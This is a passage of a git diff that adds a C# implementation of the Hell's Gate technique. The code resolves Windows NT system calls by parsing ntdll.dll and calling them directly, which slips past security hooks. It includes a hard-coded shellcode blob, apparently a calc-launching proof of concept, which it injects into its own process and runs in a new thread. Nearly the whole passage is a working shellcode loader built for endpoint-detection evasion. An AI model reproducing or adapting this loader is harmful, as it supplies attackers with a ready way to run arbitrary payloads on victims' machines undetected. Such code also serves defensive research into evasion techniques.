= this.APITable[Util.NtWaitForSingleObjectHash].Syscall; + if (syscall == 0x0000) + return Macros.STATUS_UNSUCCESSFUL; + + DFunctions.NtWaitForSingleObject Func = NtInvocation(syscall); + return Func(ObjectHandle, Alertable, ref TimeOuts); + } + } + + /// + /// .ctor + /// + /// The API table that will be used by the multiple function wrapers. + public HellsGate(Dictionary Table) { + this.APITable = Table; + } + + /// + /// JIT a static method to generate RWX memory segment. + /// + /// Whether the memory segment was successfully generated. + public bool GenerateRWXMemorySegment() { + // Find and JIT the method + MethodInfo method = typeof(HellsGate).GetMethod(nameof(Gate), BindingFlags.Static | BindingFlags.NonPublic); + if (method == null) { + Util.LogError("Unable to find the method"); + return false; + } + RuntimeHelpers.PrepareMethod(method.MethodHandle); + + // Get the address of the function and check if first opcode == JMP + IntPtr pMethod = method.MethodHandle.GetFunctionPointer(); + if (Marshal.ReadByte(pMethod) != 0xe9) { + Util.LogError("Method was not JIT'ed or invalid stub"); + return false; + } + Util.LogInfo($"Managed method address: 0x{pMethod:x16}"); + + // Get address of jited method and stack alignment + Int32 offset = Marshal.ReadInt32(pMethod, 1); + UInt64 addr = (UInt64)pMethod + (UInt64)offset; + while (addr % 16 != 0) + addr++; + Util.LogInfo($"Unmanaged method address: 0x{addr:x16}\n"); + + this.MangedMethodAddress = method.MethodHandle.GetFunctionPointer(); + this.UnmanagedMethodAddress = (IntPtr)addr; + this.IsGateReady = true; + return true; + } + + /// + /// Payload example. In this case this is a basic shellcode self-injection. + /// + public void Payload() { + if (!this.IsGateReady) { + if (!this.GenerateRWXMemorySegment()) { + Util.LogError("Unable to generate RX memory segment"); + return; + } + } + + byte[] shellcode = new byte[273] { + 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, + 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, + 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, + 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, + 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, + 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, + 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, + 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, + 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, + 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, + 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, + 0x63,0x00,0xc3 + }; + Util.LogInfo($"Shellcode size: {shellcode.Length} bytes"); + + // Allocate Memory + IntPtr pBaseAddres = IntPtr.Zero; + IntPtr Region = (IntPtr)shellcode.Length; + UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE); + if (!Macros.NT_SUCCESS(ntstatus)) { + Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})"); + return; + } + Util.LogInfo($"Page address: 0x{pBaseAddres:x16}"); + + // Copy Memory + Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length); + Array.Clear(shellcode, 0, shellcode.Length); + + // Change memory protection + UInt32 OldAccessProtection = 0; + ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection); + if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) { + Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})"); + return; + } + + IntPtr hThread = IntPtr.Zero; + ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); + if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) { + Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})"); + return; + } + Util.LogInfo($"Thread handle: 0x{hThread:x16}\n"); + + // Wait for one second + Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER(); + TimeOut.QuadPart = -10000000; + ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut); + if (ntstatus != 0x00) { + Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})"); + return; + } + } + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Module/MemoryUtil.cs b/Hells Gate/C# Implementation/SharpHellsGate/Module/MemoryUtil.cs new file mode 100644 index 0000000..18d24e6 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Module/MemoryUtil.cs @@ -0,0 +1,142 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace SharpHellsGate.Module { + /// + /// Used to manipulate and extract information from a memory stream. + /// In this case the memory stream is the NTDLL module. + /// + public class MemoryUtil : IDisposable { + + /// + /// The memory stream representation of the NTDLL module. + /// + protected Stream ModuleStream { get; set; } + + /// + /// Dispose the memory stream when no longer needed. + /// + ~MemoryUtil() => Dispose(); + + /// + /// Dispose the memory stream when no longer needed. + /// + public void Dispose() { + this.ModuleStream.Dispose(); + this.ModuleStream.Close(); + GC.SuppressFinalize(this); + } + + /// + /// Extract a structure from the memory stream. + /// + /// The Type of the structure to extract. + /// The offset in the memory stream where the structure is located. + /// The structure populated or the default structure. + protected T GetStructureFromBlob(Int64 offset) where T : struct { + Span bytes = this.GetStructureBytesFromOffset(offset); + if (Marshal.SizeOf() != bytes.Length) + return default; + + IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf()); + Marshal.Copy(bytes.ToArray(), 0, ptr, bytes.Length); + T s = Marshal.PtrToStructure(ptr); + + Marshal.FreeHGlobal(ptr); + return s; + } + + /// + /// Extract the code from a native Windows function. + /// + /// The location of the function in the memory stream. + /// The 24 bytes representing the code of the function. + protected Span GetFunctionOpCode(Int64 offset) { + Span s = stackalloc byte[24]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return s.ToArray(); + } + + /// + /// Extract a DWORD value from the memory stream. + /// + /// The location of the DWORD in the memory stream. + /// The value of the DWORD. + protected UInt32 ReadPtr32(Int64 offset) { + Span s = stackalloc byte[4]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return BitConverter.ToUInt32(s); + } + + /// + /// Extract a QWORD value from the memory stream. + /// + /// The location of the QWORD in the memory stream. + /// The value of the QWORD. + protected UInt64 ReadPtr64(Int64 offset) { + Span s = stackalloc byte[8]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return BitConverter.ToUInt64(s); + } + + /// + /// Extract a WORD value from the memory stream. + /// + /// The location of the WORD in the memory stream. + /// The value of the WORD. + protected UInt16 ReadUShort(Int64 offset) { + Span s = stackalloc byte[2]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return BitConverter.ToUInt16(s); + } + + /// + /// Extract an ASCII string from the memory stream. + /// + /// The location of the ASCII string in the memory stream. + /// The ASCII string. + protected string ReadAscii(Int64 offset) { + int length = 0; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + while (this.ModuleStream.ReadByte() != 0x00) + length++; + + Span s = length <= 1024 ? stackalloc byte[length] : new byte[length]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return Encoding.ASCII.GetString(s); + } + + /// + /// Extract the byte representation of a structure from the memory stream. + /// + /// The Type of the structure to extract from the memory stream. + /// The location of the structure in the memory stream. + /// The structure as byte span. + protected Span GetStructureBytesFromOffset(Int64 offset) where T : struct { + Span s = stackalloc byte[Marshal.SizeOf()]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return s.ToArray(); + } + + /// + /// Get a specific amount of bytes at a specific location in the memory stream. + /// + /// The location of the bytes to extract from the memory stream. + /// The number of bytes to extract from the memory stream at a give location. + /// The desired bytes as a byte span. + protected Span GetBytesFromOffset(Int64 offset, int size) { + Span s = size >= 1024 ? new byte[size] : stackalloc byte[size]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return s.ToArray(); + } + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Module/SystemModule.cs b/Hells Gate/C# Implementation/SharpHellsGate/Module/SystemModule.cs new file mode 100644 index 0000000..4ed3d7d --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Module/SystemModule.cs @@ -0,0 +1,328 @@ +using System; +using System.IO; +using SharpHellsGate.Win32; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Linq; + +namespace SharpHellsGate.Module { + + /// + /// Wrapper around the NTDLL module. + /// Used to extract structures and find system calls. + /// + public class SystemModule : MemoryUtil { + + /// + /// IMAGE_DOS_HEADER structure of the NTDLL module. + /// + public Structures.IMAGE_DOS_HEADER ModuleDOSHeader { get; private set; } + + /// + /// IMAGE_NT_HEADERS64 structure of the NTDLL module. + /// + public Structures.IMAGE_NT_HEADERS64 ModuleNTHeaders { get; private set; } + + /// + /// IMAGE_SECTION_HEADER structure from the NTDLL module. + /// + public List ModuleSectionHeaders { get; private set; } + + /// + /// IMAGE_EXPORT_DIRECTORY structure from the NTDLL module. + /// + public Structures.IMAGE_EXPORT_DIRECTORY ModuleExportDirectory { get; private set; } + + /// + /// Location in the memory stream of the IMAGE_EXPORT_DIRECTORY structure. + /// + public Int64 ModuleExportDirectoryOffset { get; private set; } + + /// + /// Location in the memory stream of the exported functions' name. + /// + public Int64 ModuleExportDirectoryAddressNamesOffset { get; private set; } + + /// + /// Location in the memory stream of the exported functions' address. + /// + public Int64 ModuleExportDirectoryAddressFunctionsOffset { get; private set; } + + /// + /// Location in the memory stream of the exported functions' ordinal. + /// + public Int64 ModuleExportDirectoryAddressNameOrdinalesOffset { get; private set; } + + /// + /// Name of the module. Will be NTDLL. + /// + public string ModuleName { get; private set; } + + /// + /// Path of the module. Will be %WINDIR%\System32\ntdll.dll + /// + public string ModulePath { get; private set; } + + /// + /// .ctor + /// + /// Name of the module + public SystemModule(string name) : base() { + this.ModuleName = name; + this.ModulePath = $"{Environment.SystemDirectory}\\{name}"; + this.ModuleSectionHeaders = new List() { }; + + this.LoadModule(); + } + + /// + /// Load the module into a memory stream. + /// + /// Whether the loading process was a success. + public bool LoadModule() { + if (string.IsNullOrEmpty(this.ModuleName)) { + Util.LogError("Module name not provided"); + return false; + } + + if (!File.Exists(this.ModulePath)) { + Util.LogError($"Unable to find module: {this.ModuleName}"); + return false; + } + + ReadOnlySpan ModuleBlob = File.ReadAllBytes(this.ModulePath); + if (ModuleBlob.Length == 0x00) { + Util.LogError($"Empty module content: {this.ModuleName}"); + return false; + } + + base.ModuleStream = new MemoryStream(ModuleBlob.ToArray()); + return true; + } + + /// + /// Reload all structures. + /// + /// Whether all structures were successfully reloaded. + public bool LoadAllStructures() { + if (this.GetModuleDOSHeader(true).Equals(default(Structures.IMAGE_DOS_HEADER))) + return false; + + if (this.GetModuleNTHeaders(true).Equals(default(Structures.IMAGE_NT_HEADERS64))) + return false; + + if (this.GetModuleSectionHeaders(true).Count != this.ModuleNTHeaders.FileHeader.NumberOfSections) + return false; + + if (this.GetModuleExportDirectory(true).Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) + return false; + + return true; + } + + /// + /// Get the _IMAGE_DOS_HEADERstructure from the module. + /// + /// Whether the data has to re-processed if not already cached. + /// The IMAGE_NT_HEADERS64 structure of the module. + public Structures.IMAGE_DOS_HEADER GetModuleDOSHeader(bool ReloadCache = false) { + if (!this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)) && !ReloadCache) + return this.ModuleDOSHeader; + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + this.ModuleDOSHeader = base.GetStructureFromBlob(0); + if (this.ModuleDOSHeader.e_magic != Macros.IMAGE_DOS_SIGNATURE) { + Util.LogError("Invalid DOS header signature"); + return default; + } + + return this.ModuleDOSHeader; + } + + /// + /// Get the IMAGE_NT_HEADERS64 structure from the module. + /// + /// Whether the data has to re-processed if not already cached. + /// The IMAGE_NT_HEADERS64 structure of the module. + public Structures.IMAGE_NT_HEADERS64 GetModuleNTHeaders(bool ReloadCache = false) { + if (!this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) && !ReloadCache) + return this.ModuleNTHeaders; + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + if (this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER))) + this.GetModuleDOSHeader(); + + this.ModuleNTHeaders = base.GetStructureFromBlob(this.ModuleDOSHeader.e_lfanew); + if (this.ModuleNTHeaders.Signature != Macros.IMAGE_NT_SIGNATURE) { + Util.LogError("Invalid NT headers signature"); + return default; + } + + return this.ModuleNTHeaders; + } + + /// + /// Get list of _IMAGE_SECTION_HEADER structures from the module. + /// + /// Whether the data has to re-processed if not already cached. + /// The list of _IMAGE_SECTION_HEADER structures. + public List GetModuleSectionHeaders(bool ReloadCache = false) { + if (this.ModuleSectionHeaders.Count == this.ModuleNTHeaders.FileHeader.NumberOfSections && !ReloadCache) + return this.ModuleSectionHeaders; + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) || this.ModuleNTHeaders.FileHeader.Equals(default(Structures.IMAGE_FILE_HEADER))) + this.GetModuleNTHeaders(); + + for (Int16 cx = 0; cx < this.ModuleNTHeaders.FileHeader.NumberOfSections; cx++) { + Int64 iSectionOffset = this.GetModuleSectionOffset(cx); + + Structures.IMAGE_SECTION_HEADER ImageSection = base.GetStructureFromBlob(iSectionOffset); + if (!ImageSection.Equals(default(Structures.IMAGE_SECTION_HEADER))) + this.ModuleSectionHeaders.Add(ImageSection); + } + + return this.ModuleSectionHeaders; + } + + /// + /// Get a _IMAGE_SECTION_HEADER structure by name. + /// + /// The name of the section. + /// The _IMAGE_SECTION_HEADER structure if exists. + public Structures.IMAGE_SECTION_HEADER GetModuleSectionHeaderByName(string name) { + if (name.Length > 8) { + Util.LogError("Invalid section name"); + return default; + } + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + if (this.ModuleSectionHeaders.Count == 0x00) + this.GetModuleSectionHeaders(); + + return this.ModuleSectionHeaders.Where(x => x.Name.Equals(name, StringComparison.OrdinalIgnoreCase)).FirstOrDefault(); + } + + /// + /// Get the Export Address Table (aka EAT) from the module. + /// + /// Whether the data has to re-processed if not already cached. + /// the _IMAGE_EXPORT_DIRECTORY structure + public Structures.IMAGE_EXPORT_DIRECTORY GetModuleExportDirectory(bool ReloadCache = false) { + if (!this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)) && !ReloadCache) + return this.ModuleExportDirectory; + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64))) + this.GetModuleNTHeaders(); + + if (this.ModuleSectionHeaders.Count == 0x00) + this.GetModuleSectionHeaders(); + + this.ModuleExportDirectoryOffset = this.ConvertRvaToOffset(this.ModuleNTHeaders.OptionalHeader.DataDirectory[0].VirtualAddress); + this.ModuleExportDirectory = base.GetStructureFromBlob(this.ModuleExportDirectoryOffset); + if (this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) { + Util.LogError("Invalid export address table (EAT)."); + return default; + } + + // Parse all functions + this.ModuleExportDirectoryAddressNamesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNames); + this.ModuleExportDirectoryAddressFunctionsOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfFunctions); + this.ModuleExportDirectoryAddressNameOrdinalesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNameOrdinals); + return this.ModuleExportDirectory; + } + + /// + /// Get the address, name, system call for a given function hash. + /// + /// DJB2 function hash. + /// + public Util.APITableEntry GetAPITableEntry(UInt64 FunctionHash) { + if (this.ModuleExportDirectoryAddressNamesOffset == 0x00 || this.ModuleExportDirectoryAddressFunctionsOffset == 0x00|| this.ModuleExportDirectoryAddressNameOrdinalesOffset == 0x00) + this.GetModuleExportDirectory(); + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + Util.APITableEntry Entry = new Util.APITableEntry { + Hash = FunctionHash + }; + + for (Int32 cx = 0; cx < this.ModuleExportDirectory.NumberOfNames; cx++) { + UInt32 PtrFunctionName = base.ReadPtr32(this.ModuleExportDirectoryAddressNamesOffset + (sizeof(uint) * cx)); + string FunctionName = base.ReadAscii(this.ConvertRvaToOffset(PtrFunctionName)); + + if (FunctionHash == Util.GetFunctionDJB2Hash(FunctionName)) { + UInt32 PtrFunctionAdddress = base.ReadPtr32(this.ModuleExportDirectoryAddressFunctionsOffset + (sizeof(uint) * (cx + 1))); + Span opcode = base.GetFunctionOpCode(this.ConvertRvaToOffset(PtrFunctionAdddress)); + + if (opcode[3] == 0xb8 && opcode[18] == 0x0f && opcode[19] == 0x05) { + Entry.Name = FunctionName; + Entry.Address = PtrFunctionAdddress; + Entry.Syscall = (Int16)(((byte)opcode[5] << 4) | (byte)opcode[4]); + return Entry; + } + } + } + + return default; + } + + /// + /// Get the offset of a _IMAGE_SECTION_HEADER structure. + /// + /// The section to get. + /// The _IMAGE_SECTION_HEADER structure. + private Int64 GetModuleSectionOffset(Int16 cx) + => this.ModuleDOSHeader.e_lfanew + + Marshal.SizeOf() + + this.ModuleNTHeaders.FileHeader.SizeOfOptionalHeader + + sizeof(Int32) // sizeof(DWORD) + + (Marshal.SizeOf() * cx); + + /// + /// Convert a relative virtual address (RVA) into an offset. + /// + /// The RVA to convert into an offset in the iamge. + /// The section in which the relative virtual address (RVA) points to. + /// The offset. + private Int64 ConvertRvaToOffset(Int64 rva, Structures.IMAGE_SECTION_HEADER SectionHeader) => rva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData; + + /// + /// Convert a relative virtual address (RVA) into an offset. + /// + /// The RVA to convert into an offset in the iamge. + /// The offset. + private Int64 ConvertRvaToOffset(Int64 rva) => this.ConvertRvaToOffset(rva, GetSectionByRVA(rva)); + + /// + /// Get which image section is which a relative virtual address (RVA) points to. + /// + /// The RVA + /// The _IMAGE_SECTION_HEADER structure + private Structures.IMAGE_SECTION_HEADER GetSectionByRVA(Int64 rva) => this.ModuleSectionHeaders.Where(x => rva > x.VirtualAddress && rva <= x.VirtualAddress + x.SizeOfRawData).First(); + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Program.cs b/Hells Gate/C# Implementation/SharpHellsGate/Program.cs new file mode 100644 index 0000000..b11f691 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Program.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Generic; +using SharpHellsGate.Module; + +namespace SharpHellsGate { + + /// + /// Main class. + /// + public class Program { + + /// + /// Entry point of the program. + /// + /// Command line arguments. + static void Main(string[] args) { + Util.LogInfo("Copyright (C) 2020 Paul Laine (@am0nsec)"); + Util.LogInfo("C# Implementation of the Hell's Gate VX Technique"); + Util.LogInfo(" --------------------------------------------------\n", 0, ""); + + // Only works for x86 + if (IntPtr.Size != 8) { + Util.LogError("Project only tested in x64 context.\n"); + return; + } + + // Load the module and get everything ready + SystemModule ntdll = new SystemModule("ntdll.dll"); + ntdll.LoadAllStructures(); + + // Resolve all the system calls + Dictionary APITable = new Dictionary() { + { Util.NtAllocateVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtAllocateVirtualMemoryHash) }, + { Util.NtProtectVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtProtectVirtualMemoryHash) }, + { Util.NtCreateThreadExHash, ntdll.GetAPITableEntry(Util.NtCreateThreadExHash) }, + { Util.NtWaitForSingleObjectHash, ntdll.GetAPITableEntry(Util.NtWaitForSingleObjectHash) } + }; + ntdll.Dispose(); + + Util.LogInfo($"NtAllocateVirtualMemory: 0x{APITable[Util.NtAllocateVirtualMemoryHash].Syscall:x4}"); + Util.LogInfo($"NtProtectVirtualMemory: 0x{APITable[Util.NtProtectVirtualMemoryHash].Syscall:x4}"); + Util.LogInfo($"NtWaitForSingleObject: 0x{APITable[Util.NtWaitForSingleObjectHash].Syscall:x4}"); + Util.LogInfo($"NtCreateThreadEx: 0x{APITable[Util.NtCreateThreadExHash].Syscall:x4}\n"); + + HellsGate gate = new HellsGate(APITable); + gate.GenerateRWXMemorySegment(); + gate.Payload(); + return; + } + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/SharpHellsGate.csproj b/Hells Gate/C# Implementation/SharpHellsGate/SharpHellsGate.csproj new file mode 100644 index 0000000..2a7c207 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/SharpHellsGate.csproj @@ -0,0 +1,18 @@ + + + + Exe + net5.0 + + + + true + x64 + + + + true + x64 + + + diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Util.cs b/Hells Gate/C# Implementation/SharpHellsGate/Util.cs new file mode 100644 index 0000000..42a645e --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Util.cs @@ -0,0 +1,128 @@ +using System; +using System.Diagnostics; + +namespace SharpHellsGate { + + /// + /// Util class. Used mainly for debug output. + /// + public class Util { + + /// + /// Structure used to store the name, address, system call and hash of a native Windows function. + /// + public struct APITableEntry { + public string Name; + public Int64 Address; + public Int16 Syscall; + public UInt64 Hash; + } + + /// + /// DJB2 Hash of the NtAllocateVirtualMemory function name. + /// + public static UInt64 NtAllocateVirtualMemoryHash { get; } = 0xf5bd373480a6b89b; + + /// + /// DJB2 Hash of the NtProtectVirtualMemory function name. + /// + public static UInt64 NtProtectVirtualMemoryHash { get; } = 0x858bcb1046fb6a37; + + /// + /// DJB2 Hash of the NtCreateThreadEx function name. + /// + public static UInt64 NtCreateThreadExHash { get; } = 0x64dc7db288c5015f; + + /// + /// DJB2 Hash of the NtWaitForSingleObject function name. + /// + public static UInt64 NtWaitForSingleObjectHash { get; } = 0xc6a2fa174e551bcb; + + + /// + /// Log an informational information. + /// + /// Message to log. + /// Indentation level. + /// Message prefix. + public static void LogInfo(string msg, int indent = 0, string prefix = "[>]") { +#if DEBUG + if (string.IsNullOrEmpty(msg)) + return; + + LogMessage(msg, prefix, indent, ConsoleColor.Blue); +#endif + } + + /// + /// Log an error information. + /// + /// Message to log. + /// Indentation level. + /// Message prefix. + public static void LogError(string msg, int indent = 0, string prefix = "[-]") { +#if DEBUG + if (string.IsNullOrEmpty(msg)) + return; + + LogMessage(msg, prefix, indent, ConsoleColor.Red); +#endif + } + + /// + /// Log a success information. + /// + /// Message to log. + /// Indentation level. + /// Message prefix + public static void LogSuccess(string msg, int indent = 0, string prefix = "[+]") { +#if DEBUG + if (string.IsNullOrEmpty(msg)) + return; + + LogMessage(msg, prefix, indent, ConsoleColor.Green); +#endif + } + + /// + /// Log a string to the console and to the debugger. + /// + /// Message to log. + /// Indentation level. + /// Message prefix. + /// The color of the prifix on the console. + private static void LogMessage(string msg, string prefix, int indent, ConsoleColor color) { + // Indent + Console.Write(new String(' ', indent)); + Trace.Write(new String(' ', indent)); + + // Color and prefix + Trace.Write(prefix); + Console.ForegroundColor = color; + Console.Write(prefix); + Console.ResetColor(); + + // Message + Console.WriteLine($" {msg}"); + Trace.WriteLine($" {msg}"); + } + + + /// + /// Revisited DJB2 algorithm. + /// + /// The ASCII name of a function. + /// The djb2 hash of the function name. + public static UInt64 GetFunctionDJB2Hash(string FunctionName) { + if (string.IsNullOrEmpty(FunctionName)) + return 0; + + UInt64 hash = 0x7734773477347734; + foreach (char c in FunctionName) + hash = ((hash << 0x5) + hash) + (byte)c; + + return hash; + } + + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Win32/DFunctions.cs b/Hells Gate/C# Implementation/SharpHellsGate/Win32/DFunctions.cs new file mode 100644 index 0000000..4bb9f34 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Win32/DFunctions.cs @@ -0,0 +1,93 @@ +using System; +using System.Runtime.InteropServices; + +namespace SharpHellsGate.Win32 { + + /// + /// Contains all the delegates used to execute the system calls. + /// + public class DFunctions { + + /// + /// Managed wrapper around the NtAllocateVirtualMemory native Windows function + /// + /// A handle for the process for which the mapping should be done. + /// A pointer to a variable that will receive the base address of the allocated region of pages. + /// The number of high-order address bits that must be zero in the base address of the section view. + /// A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages. + /// A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages. + /// A bitmask containing page protection flags that specify the protection desired for the committed region of pages. + /// NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code. + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtAllocateVirtualMemory( + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + IntPtr ZeroBits, + ref IntPtr RegionSize, + UInt32 AllocationType, + UInt32 Protect + ); + + /// + /// Managed wrapper around the NtProtectVirtualMemory native Windows function. + /// + /// Handle to Process Object opened with PROCESS_VM_OPERATION access. + /// Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address. + /// Pointer to size of region to protect. On output will be round to page size (4KB). + /// One or some of PAGE_... attributes. + /// Receive previous protection. + /// NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code. + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtProtectVirtualMemory( + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + ref IntPtr RegionSize, + UInt32 NewProtect, + out UInt32 OldProtect + ); + + /// + /// Managed wrapper around the NtCreateThreadEx native Windows function. + /// + /// Caller supplied storage for the resulting handle. + /// Specifies the allowed or desired access to the thread. + /// Initialized attributes for the object. + /// Handle to the threads parent process. + /// Address of the function to execute. + /// Parameters to pass to the function. + /// Whether the thread will be in suspended mode and has to be resumed later. + /// + /// Initial stack memory to commit. + /// Initial stack memory to reserve. + /// + /// NtCreateThreadEx returns either STATUS_SUCCESS or an error status code. + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtCreateThreadEx( + ref IntPtr hThread, + uint DesiredAccess, + IntPtr ObjectAttributes, + IntPtr ProcessHandle, + IntPtr lpStartAddress, + IntPtr lpParameter, + bool CreateSuspended, + uint StackZeroBits, + uint SizeOfStackCommit, + uint SizeOfStackReserve, + IntPtr lpBytesBuffer + ); + + /// + /// Managed wrapper around the NtWaitForSingleObject native Windows function. + /// + /// Open handle to a alertable executive object. + /// If set, calling thread is signaled, so all queued APC routines are executed. + /// Time-out interval, in microseconds. NULL means infinite. + /// NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code. + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtWaitForSingleObject( + IntPtr ObjectHandle, + bool Alertable, + ref Structures.LARGE_INTEGER TimeOut + ); + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Win32/Macros.cs b/Hells Gate/C# Implementation/SharpHellsGate/Win32/Macros.cs new file mode 100644 index 0000000..0f69a95 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Win32/Macros.cs @@ -0,0 +1,78 @@ +using System; + +namespace SharpHellsGate.Win32 { + + /// + /// Windows Macros used for error and success codes and bitmasks. + /// + public static class Macros { + + // NTSTATUS + public static bool NT_SUCCESS(UInt32 ntstatus) => ntstatus <= 0x3FFFFFFF; + public static bool NT_INFORMATION(UInt32 ntstatus) => ntstatus >= 0x40000000 && ntstatus <= 0x7FFFFFFF; + public static bool 